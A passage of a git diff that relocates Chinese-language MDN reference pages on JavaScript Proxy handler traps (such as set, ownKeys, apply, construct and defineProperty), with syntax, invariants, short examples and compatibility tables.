-  has: function(target, prop) {
-    return false;
-  }
-});
-
-'a' in p; // TypeError is thrown
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ESDraft')}}
- -

浏览器支持

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

其他

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Operators/in", "in")}} operator
  • -
  • {{jsxref("Reflect.has()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/index.html deleted file mode 100644 index 26d1ad3517..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Proxy handler -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler -tags: - - ECMAScript 2015 - - JavaScript - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy -translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler ---- -
{{JSRef}}
- -
Proxy 的 handler 对象是一个占位符对象,它包含了用于 {{jsxref("Proxy")}} 的陷阱(Trap)函数。
- -
此处可以理解为由Proxy所暴露出的钩子函数,handler作为挂载钩子函数的对象存在,不同的操作会触发不同的钩子函数
- -
,handler提供了覆写钩子函数的方法。
- -

方法

- -

所有的陷阱是可选的。如果某个陷阱没有定义,那么就会保留默认行为。

- -
-
{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}
-
在读取代理对象的原型时触发该操作,比如在执行 {{jsxref("Object.getPrototypeOf")}}(proxy) 时。
-
{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}
-
在设置代理对象的原型时触发该操作,比如在执行 {{jsxref("Object.setPrototypeOf")}}(proxy, null) 时。
-
{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}
-
在判断一个代理对象是否是可扩展时触发该操作,比如在执行 {{jsxref("Object.isExtensible")}}(proxy) 时。
-
{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}
-
在让一个代理对象不可扩展时触发该操作,比如在执行 {{jsxref("Object.preventExtensions")}}(proxy) 时。
-
{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}
-
在获取代理对象某个属性的属性描述时触发该操作,比如在执行 {{jsxref("Object.getOwnPropertyDescriptor")}}(proxy, "foo") 时。
-
{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}
-
在定义代理对象某个属性时的属性描述时触发该操作,比如在执行 {{jsxref("Object.defineProperty")}}(proxy, "foo", {}) 时。
-
{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}
-
在判断代理对象是否拥有某个属性时触发该操作,比如在执行 "foo" {{jsxref("Operators/in", "in")}} proxy 时。
-
{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}
-
在读取代理对象的某个属性时触发该操作,比如在执行 proxy.foo 时。
-
{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}
-
在给代理对象的某个属性赋值时触发该操作,比如在执行 proxy.foo = 1 时。
-
{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}
-
在删除代理对象的某个属性时触发该操作,即使用 {{jsxref("Operators/delete", "delete")}} 运算符,比如在执行 delete proxy.foo 时。
-
{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}
-
{{jsxref("Object.getOwnPropertyNames")}} 和{{jsxref("Object.getOwnPropertySymbols")}} 的陷阱。
-
{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}
-
函数调用操作的陷阱。
-
{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}
-
{{jsxref("Operators/new", "new")}} 运算符的陷阱。
-
- -

一些不标准的陷阱已经废弃并且被移除了

- -

规范

- - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Proxy.handler")}}

- -

相关链接

- -
    -
  • {{JSxRef("Proxy")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/isextensible/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/isextensible/index.html deleted file mode 100644 index 7be418197f..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/isextensible/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: handler.isExtensible() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible -tags: - - ECMAScript 2015 - - JavaScript - - Method - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible ---- -
{{JSRef}}
-handler.isExtensible() 方法用于拦截对对象的Object.isExtensible()。
- -
-

{{EmbedInteractiveExample("pages/js/proxyhandler-isextensible.html", "taller")}}

-
- -

语法

- -
var p = new Proxy(target, {
-  isExtensible: function(target) {
-  }
-});
-
- -

参数

- -

下列参数将会被传递给 isExtensible方法。 this 绑定在 handler 对象上。

- -
-
target
-
目标对象。
-
- -

返回值

- -

isExtensible方法必须返回一个 Boolean值或可转换成Boolean的值。

- -

描述

- -

handler.isExtensible()用于拦截对对象的Object.isExtensible()。

- -

拦截

- -

该方法会拦截目标对象的以下操作:

- -
    -
  • {{jsxref("Object.isExtensible()")}}
  • -
  • {{jsxref("Reflect.isExtensible()")}}
  • -
- -

约束

- -

如果违背了以下的约束,proxy会抛出 TypeError:

- -
    -
  • Object.isExtensible(proxy) 必须同Object.isExtensible(target)返回相同值。也就是必须返回true或者为true的值,返回false和为false的值都会报错。
  • -
- -

示例

- -

以下代码演示{{jsxref("Object.isExtensible()")}}.

- -
var p = new Proxy({}, {
-  isExtensible: function(target) {
-    console.log('called');
-    return true;//也可以return 1;等表示为true的值
-  }
-});
-
-console.log(Object.isExtensible(p)); // "called"
-                                     // true
-
- -

以下代码演示违反约束的情况。

- -
var p = new Proxy({}, {
-  isExtensible: function(target) {
-    return false;//return 0;return NaN等都会报错
-  }
-});
-
-Object.isExtensible(p); // TypeError is thrown
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.isExtensible")}}

-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.isExtensible()")}}
  • -
  • {{jsxref("Reflect.isExtensible()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/ownkeys/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/ownkeys/index.html deleted file mode 100644 index 956b908375..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/ownkeys/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: handler.ownKeys() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys ---- -
{{JSRef}}
- -

handler.ownKeys() 方法用于拦截 {{jsxref("Reflect.ownKeys()")}}.

- - - -

{{EmbedInteractiveExample("pages/js/proxyhandler-ownkeys.html", "taller")}}

- - - -

语法

- -
var p = new Proxy(target, {
-  ownKeys: function(target) {
-  }
-});
-
- -

参数

- -

下面的参数被传递给ownKeys。this被绑定在handler上。

- -
-
target
-
目标对象.
-
- -

返回值

- -

ownKeys 方法必须返回一个可枚举对象.

- -

描述

- -

handler.ownKeys() 方法用于拦截 {{jsxref("Reflect.ownKeys()")}}.

- -

拦截

- -

该拦截器可以拦截以下操作::

- -
    -
  • {{jsxref("Object.getOwnPropertyNames()")}}
  • -
  • {{jsxref("Object.getOwnPropertySymbols()")}}
  • -
  • {{jsxref("Object.keys()")}}
  • -
  • {{jsxref("Reflect.ownKeys()")}}
  • -
- -

约束

- -

如果违反了下面的约束,proxy将抛出错误 {{jsxref("TypeError")}}:

- -
    -
  • ownKeys 的结果必须是一个数组.
  • -
  • 数组的元素类型要么是一个 {{jsxref("String")}} ,要么是一个 {{jsxref("Symbol")}}.
  • -
  • 结果列表必须包含目标对象的所有不可配置(non-configurable )、自有(own)属性的key.
  • -
  • 如果目标对象不可扩展,那么结果列表必须包含目标对象的所有自有(own)属性的key,不能有其它值.
  • -
- -

示例

- -

下面的代码拦截 {{jsxref("Object.getOwnPropertyNames()")}}.

- -
var p = new Proxy({}, {
-  ownKeys: function(target) {
-    console.log('called');
-    return ['a', 'b', 'c'];
-  }
-});
-
-console.log(Object.getOwnPropertyNames(p)); // "called"
-                                            // [ 'a', 'b', 'c' ]
- -

下面的代码违反了约定

- -
var obj = {};
-Object.defineProperty(obj, 'a', {
-  configurable: false,
-  enumerable: true,
-  value: 10 }
-);
-
-var p = new Proxy(obj, {
-  ownKeys: function(target) {
-    return [123, 12.5, true, false, undefined, null, {}, []];
-  }
-});
-
-console.log(Object.getOwnPropertyNames(p));
-
-// TypeError: proxy [[OwnPropertyKeys]] 必须返回一个数组
-// 数组元素类型只能是String或Symbol
-
- -

标准

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

兼容性注意事项

- -

Firefox火狐

- -
    -
  • 在Gecko 42 {{geckoRelease(42)}}版本中, ownKey 的实施已经更新了,为了反映最终的ES5标准 (see {{bug(1049662)}}): - -
      -
    • 现在需要检查结果是不是数组以及数组元素类型是不是string或symbol.
    • -
    • 枚举重复的自有的属性名称不再失败.
    • -
    -
  • -
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
  • -
  • {{jsxref("Reflect.ownKeys()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/preventextensions/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/preventextensions/index.html deleted file mode 100644 index dd6823c9dd..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/preventextensions/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: handler.preventExtensions() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions -tags: - - Proxy 代理 拦截 -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions ---- -
{{JSRef}}
- -

handler.preventExtensions() 方法用于设置对{{jsxref("Object.preventExtensions()")}}的拦截

- -

{{EmbedInteractiveExample("pages/js/proxyhandler-preventextensions.html", "taller")}}

- -

语法

- -
var p = new Proxy(target, {
-  preventExtensions: function(target) {
-  }
-});
-
- -

参数

- -

以下参数传递给 preventExtensions 方法. 它会绑定到这个handler.

- -
-
target
-
所要拦截的目标对象.
-
- -

返回值

- -

preventExtensions 方法返回一个布尔值.

- -

描述

- -

handler.preventExtensions() 拦截 {{jsxref("Object.preventExtensions()")}}返回一个布尔值.

- -

拦截

- -

这个trap可以拦截这些操作:

- -
    -
  • {{jsxref("Object.preventExtensions()")}}
  • -
  • {{jsxref("Reflect.preventExtensions()")}}
  • -
- -

约束

- -

如果违反了下列规则, proxy则会抛出一个 {{jsxref("TypeError")}}:

- -
    -
  • 如果目标对象是可扩展的,那么只能返回 false
  • -
- -

示例

- -

以下代码演示了如何拦截{{jsxref("Object.preventExtensions()")}}。

- -
var p = new Proxy({}, {
-  preventExtensions: function(target) {
-    console.log('called');
-    Object.preventExtensions(target);
-    return true;
-  }
-});
-
-console.log(Object.preventExtensions(p)); // "called"
-                                          // false
-
- -

以下代码违反了约束.

- -
var p = new Proxy({}, {
-  preventExtensions: function(target) {
-    return true;
-  }
-});
-
-Object.preventExtensions(p); // 抛出类型错误
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.preventExtensions")}}

-
- -

参考

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.preventExtensions()")}}
  • -
  • {{jsxref("Reflect.preventExtensions()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/set/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/set/index.html deleted file mode 100644 index c66481647a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/set/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: handler.set() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set -tags: - - ECMAScript6 - - JavaScript - - Method - - Proxy - - Proxy拦截 -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set ---- -
{{JSRef}}
- -

handler.set() 方法是设置属性值操作的捕获器。

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-set.html", "taller")}}
- - - -

语法

- -
const p = new Proxy(target, {
-  set: function(target, property, value, receiver) {
-  }
-});
-
- -

参数

- -

以下是传递给 set() 方法的参数。this 绑定在 handler 对象上。

- -
-
target
-
目标对象。
-
property
-
将被设置的属性名或 {{jsxref("Symbol")}}。
-
value
-
新属性值。
-
receiver
-
最初被调用的对象。通常是 proxy 本身,但 handler 的 set 方法也有可能在原型链上,或以其他方式被间接地调用(因此不一定是 proxy 本身)。 -
-

比如:假设有一段代码执行 obj.name = "jen"obj 不是一个 proxy,且自身不含 name 属性,但是它的原型链上有一个 proxy,那么,那个 proxy 的 set() 处理器会被调用,而此时,obj 会作为 receiver 参数传进来。

-
-
-
- -

返回值

- -

set() 方法应当返回一个布尔值。

- -
    -
  • 返回 true 代表属性设置成功。
  • -
  • 在严格模式下,如果 set() 方法返回 false,那么会抛出一个 {{jsxref("TypeError")}} 异常。
  • -
- -

描述

- -

handler.set() 方法用于拦截设置属性值的操作。

- -

拦截

- -

该方法会拦截目标对象的以下操作:

- -
    -
  • 指定属性值:proxy[foo] = barproxy.foo = bar
  • -
  • 指定继承者的属性值:Object.create(proxy)[foo] = bar
  • -
  • {{jsxref("Reflect.set()")}}
  • -
- -

约束

- -

如果违背以下的约束条件,proxy 会抛出一个 {{jsxref("TypeError")}} 异常:

- -
    -
  • 若目标属性是一个不可写及不可配置的数据属性,则不能改变它的值。
  • -
  • 如果目标属性没有配置存储方法,即 [[Set]] 属性的是 undefined,则不能设置它的值。
  • -
  • 在严格模式下,如果 set() 方法返回 false,那么也会抛出一个 {{jsxref("TypeError")}} 异常。
  • -
- -

示例

- -

以下代码演示如何捕获属性的设置操作。

- -
var p = new Proxy({}, {
-  set: function(target, prop, value, receiver) {
-    target[prop] = value;
-    console.log('property set: ' + prop + ' = ' + value);
-    return true;
-  }
-})
-
-console.log('a' in p);  // false
-
-p.a = 10;               // "property set: a = 10"
-console.log('a' in p);  // true
-console.log(p.a);       // 10
- -

规范

- - - - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Proxy.handler.set")}}

- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Reflect.set()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/setprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/setprototypeof/index.html deleted file mode 100644 index 9d88cd2593..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/setprototypeof/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: handler.setPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf ---- -
{{JSRef}}
- -

handler.setPrototypeOf() 方法主要用来拦截 {{jsxref("Object.setPrototypeOf()")}}.

- -

语法

- -
var p = new Proxy(target, {
-  setPrototypeOf: function(target, prototype) {
-  }
-});
-
- -

参数

- -

以下参数传递给 setPrototypeOf 方法. 

- -
-
target
-
被拦截目标对象.
-
prototype
-
对象新原型或为null.
-
- -

返回值

- -

如果成功修改了[[Prototype]]setPrototypeOf 方法返回 true,否则返回 false.

- -

描述

- -

这个 handler.setPrototypeOf 方法用于拦截 {{jsxref("Object.setPrototypeOf()")}}.

- -

拦截

- -

这个方法可以拦截以下操作:

- -
    -
  • {{jsxref("Object.setPrototypeOf()")}}
  • -
  • {{jsxref("Reflect.setPrototypeOf()")}}
  • -
- -

Invariants

- -

如果违反了下列规则,则proxy将抛出一个{{jsxref("TypeError")}}:

- -
    -
  • 如果 target 不可扩展, 原型参数必须与Object.getPrototypeOf(target) 的值相同.
  • -
- -

示例

- -

如果你不想为你的对象设置一个新的原型,你的handler's的setPrototypeOf方法可以返回false,也可以抛出异常。

- -

The former approach means that any operation that performs such mutation, that throws an exception on failure to mutate, will have to create the exception itself.  For example, {{jsxref("Object.setPrototypeOf()")}} will create and throw a TypeError itself.  If the mutation is performed by an operation that doesn't ordinarily throw in case of failure, such as {{jsxref("Reflect.setPrototypeOf()")}}, no exception will be thrown.

- -
var handlerReturnsFalse = {
-    setPrototypeOf(target, newProto) {
-        return false;
-    }
-};
-
-var newProto = {}, target = {};
-
-var p1 = new Proxy(target, handlerReturnsFalse);
-Object.setPrototypeOf(p1, newProto); // throws a TypeError
-Reflect.setPrototypeOf(p1, newProto); // returns false
-
- -

The latter approach will cause any operation that attempts to mutate, to throw.  This approach is required if you want even non-throwing operations to throw on failure, or you want to throw a custom exception value.

- -
var handlerThrows = {
-    setPrototypeOf(target, newProto) {
-        throw new Error('custom error');
-    }
-};
-
-var newProto = {}, target = {};
-
-var p2 = new Proxy(target, handlerThrows);
-Object.setPrototypeOf(p2, newProto); // throws new Error("custom error")
-Reflect.setPrototypeOf(p2, newProto); // throws new Error("custom error")
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.setPrototypeOf")}}

-
- -

See also

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.setPrototypeOf()")}}
  • -
  • {{jsxref("Reflect.setPrototypeOf()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html new file mode 100644 index 0000000000..62b8b67f5f --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html @@ -0,0 +1,117 @@ +--- +title: handler.apply() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply +tags: + - ECMAScript6 + - JavaScript + - Method + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +--- +
{{JSRef}}
+ +

handler.apply() 方法用于拦截函数的调用。

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}
+ + + +

语法

+ +
var p = new Proxy(target, {
+  apply: function(target, thisArg, argumentsList) {
+  }
+});
+
+ +

参数

+ +

以下是传递给apply方法的参数,this上下文绑定在handler对象上.

+ +
+
target
+
目标对象(函数)。
+
thisArg
+
被调用时的上下文对象。
+
argumentsList
+
被调用时的参数数组。
+
+ +

返回值

+ +

apply方法可以返回任何值。

+ +

描述

+ +

handler.apply 方法用于拦截函数的调用。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作:

+ +
    +
  • proxy(...args)
  • +
  • {{jsxref("Function.prototype.apply()")}} 和 {{jsxref("Function.prototype.call()")}}
  • +
  • {{jsxref("Reflect.apply()")}}
  • +
+ +

约束

+ +

如果违反了以下约束,代理将抛出一个TypeError:

+ +

target必须是可被调用的。也就是说,它必须是一个函数对象。

+ +

示例

+ +

以下代码演示如何捕获函数的调用。

+ +
var p = new Proxy(function() {}, {
+  apply: function(target, thisArg, argumentsList) {
+    console.log('called: ' + argumentsList.join(', '));
+    return argumentsList[0] + argumentsList[1] + argumentsList[2];
+  }
+});
+
+console.log(p(1, 2, 3)); // "called: 1, 2, 3"
+                         // 6
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.apply")}}

+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Function.prototype.apply")}}
  • +
  • {{jsxref("Function.prototype.call")}}
  • +
  • {{jsxref("Reflect.apply()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html new file mode 100644 index 0000000000..209e9752e3 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html @@ -0,0 +1,130 @@ +--- +title: handler.construct() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct +--- +
{{JSRef}}
+ +

handler.construct() 方法用于拦截{{jsxref("Operators/new", "new")}} 操作符. 为了使new操作符在生成的Proxy对象上生效,用于初始化代理的目标对象自身必须具有[[Construct]]内部方法(即 new target 必须是有效的)。

+ +

{{EmbedInteractiveExample("pages/js/proxyhandler-construct.html", "taller")}}

+ +

语法

+ +
var p = new Proxy(target, {
+  construct: function(target, argumentsList, newTarget) {
+  }
+});
+
+ +

参数

+ +

下面的参数将会传递给construct方法,this绑定在handler上。

+ +
+
target
+
目标对象。
+
argumentsList
+
constructor的参数列表。
+
newTarget
+
最初被调用的构造函数,就上面的例子而言是p。
+
+ +

返回值

+ +

construct 方法必须返回一个对象。

+ +

描述

+ +

handler.construct() 方法用于拦截 {{jsxref("Operators/new", "new")}}操作符。

+ +

拦截

+ +

该拦截器可以拦截以下操作:

+ +
    +
  • new proxy(...args)
  • +
  • {{jsxref("Reflect.construct()")}}
  • +
+ +

约束

+ +

如果违反以下约定,代理将会抛出错误 {{jsxref("TypeError")}}:

+ +
    +
  • 必须返回一个对象.
  • +
+ +

示例

+ +

下面代码演示如何拦截 {{jsxref("Operators/new", "new")}} 操作。

+ +
var p = new Proxy(function() {}, {
+  construct: function(target, argumentsList, newTarget) {
+    console.log('called: ' + argumentsList.join(', '));
+    return { value: argumentsList[0] * 10 };
+  }
+});
+
+console.log(new p(1).value); // "called: 1"
+                             // 10
+
+ +

下面的代码违反了约定.

+ +
var p = new Proxy(function() {}, {
+  construct: function(target, argumentsList, newTarget) {
+    return 1;
+  }
+});
+
+new p(); // TypeError is thrown
+
+ +

下面的代码未能正确的初始化Proxy。Proxy初始化时,传给它的target 必须具有一个有效的constructor供new操作符调用。

+ +
var p = new Proxy({}, {
+  construct: function(target, argumentsList, newTarget) {
+    return {};
+  }
+});
+
+new p(); // TypeError is thrown, "p" is not a constructor
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
{{Compat("javascript.builtins.Proxy.handler.construct")}}
+ +
 
+ +

相关主题

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Operators/new", "new")}} operator.
  • +
  • {{jsxref("Reflect.construct()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html new file mode 100644 index 0000000000..9912e043a0 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html @@ -0,0 +1,181 @@ +--- +title: handler.defineProperty() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty +--- +
{{JSRef}}
+ +

handler.defineProperty() 用于拦截对对象的 {{jsxref("Object.defineProperty()")}} 操作。

+ +

语法

+ +
var p = new Proxy(target, {
+  defineProperty: function(target, property, descriptor) {
+  }
+});
+
+ +

参数

+ +

下列参数将会被传递给 defineProperty 方法。 this 绑定在 handler 对象上。

+ +
+
target
+
目标对象。
+
property
+
待检索其描述的属性名。
+
descriptor
+
待定义或修改的属性的描述符。
+
+ +

返回值

+ +

defineProperty 方法必须以一个 {{jsxref("Boolean")}} 返回,表示定义该属性的操作成功与否。

+ +

描述

+ +

handler.defineProperty() 用于拦截对对象的 {{jsxref("Object.defineProperty()")}} 操作。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作 :

+ +
    +
  • {{jsxref("Object.defineProperty()")}}
  • +
  • {{jsxref("Reflect.defineProperty()")}}
  • +
  • {{jsxref("proxy.property='value'")}}
  • +
+ +

不变量

+ +

如果违背了以下的不变量,proxy会抛出 {{jsxref("TypeError")}}:

+ +
    +
  • 如果目标对象不可扩展, 将不能添加属性。
  • +
  • 不能添加或者修改一个属性为不可配置的,如果它不作为一个目标对象的不可配置的属性存在的话。
  • +
  • 如果目标对象存在一个对应的可配置属性,这个属性可能不会是不可配置的。
  • +
  • 如果一个属性在目标对象中存在对应的属性,那么 Object.defineProperty(target, prop, descriptor) 将不会抛出异常。
  • +
  • 在严格模式下, false 作为 handler.defineProperty 方法的返回值的话将会抛出 {{jsxref("TypeError")}} 异常.
  • +
+ +

示例

+ +

以下代码演示如何拦截对目标对象的 {{jsxref("Object.defineProperty()")}} 操作。

+ +
var p = new Proxy({}, {
+  defineProperty: function(target, prop, descriptor) {
+    console.log('called: ' + prop);
+    return true;
+  }
+});
+
+var desc = { configurable: true, enumerable: true, value: 10 };
+Object.defineProperty(p, 'a', desc); // "called: a"
+
+ +

当调用 {{jsxref("Object.defineProperty()")}} 或者 {{jsxref("Reflect.defineProperty()")}},传递给 definePropertydescriptor   有一个限制 - 只有以下属性才有用,非标准的属性将会被无视 :

+ +
    +
  • enumerable
  • +
  • configurable
  • +
  • writable
  • +
  • value
  • +
  • get
  • +
  • set
  • +
+ +
var p = new Proxy({}, {
+  defineProperty(target, prop, descriptor) {
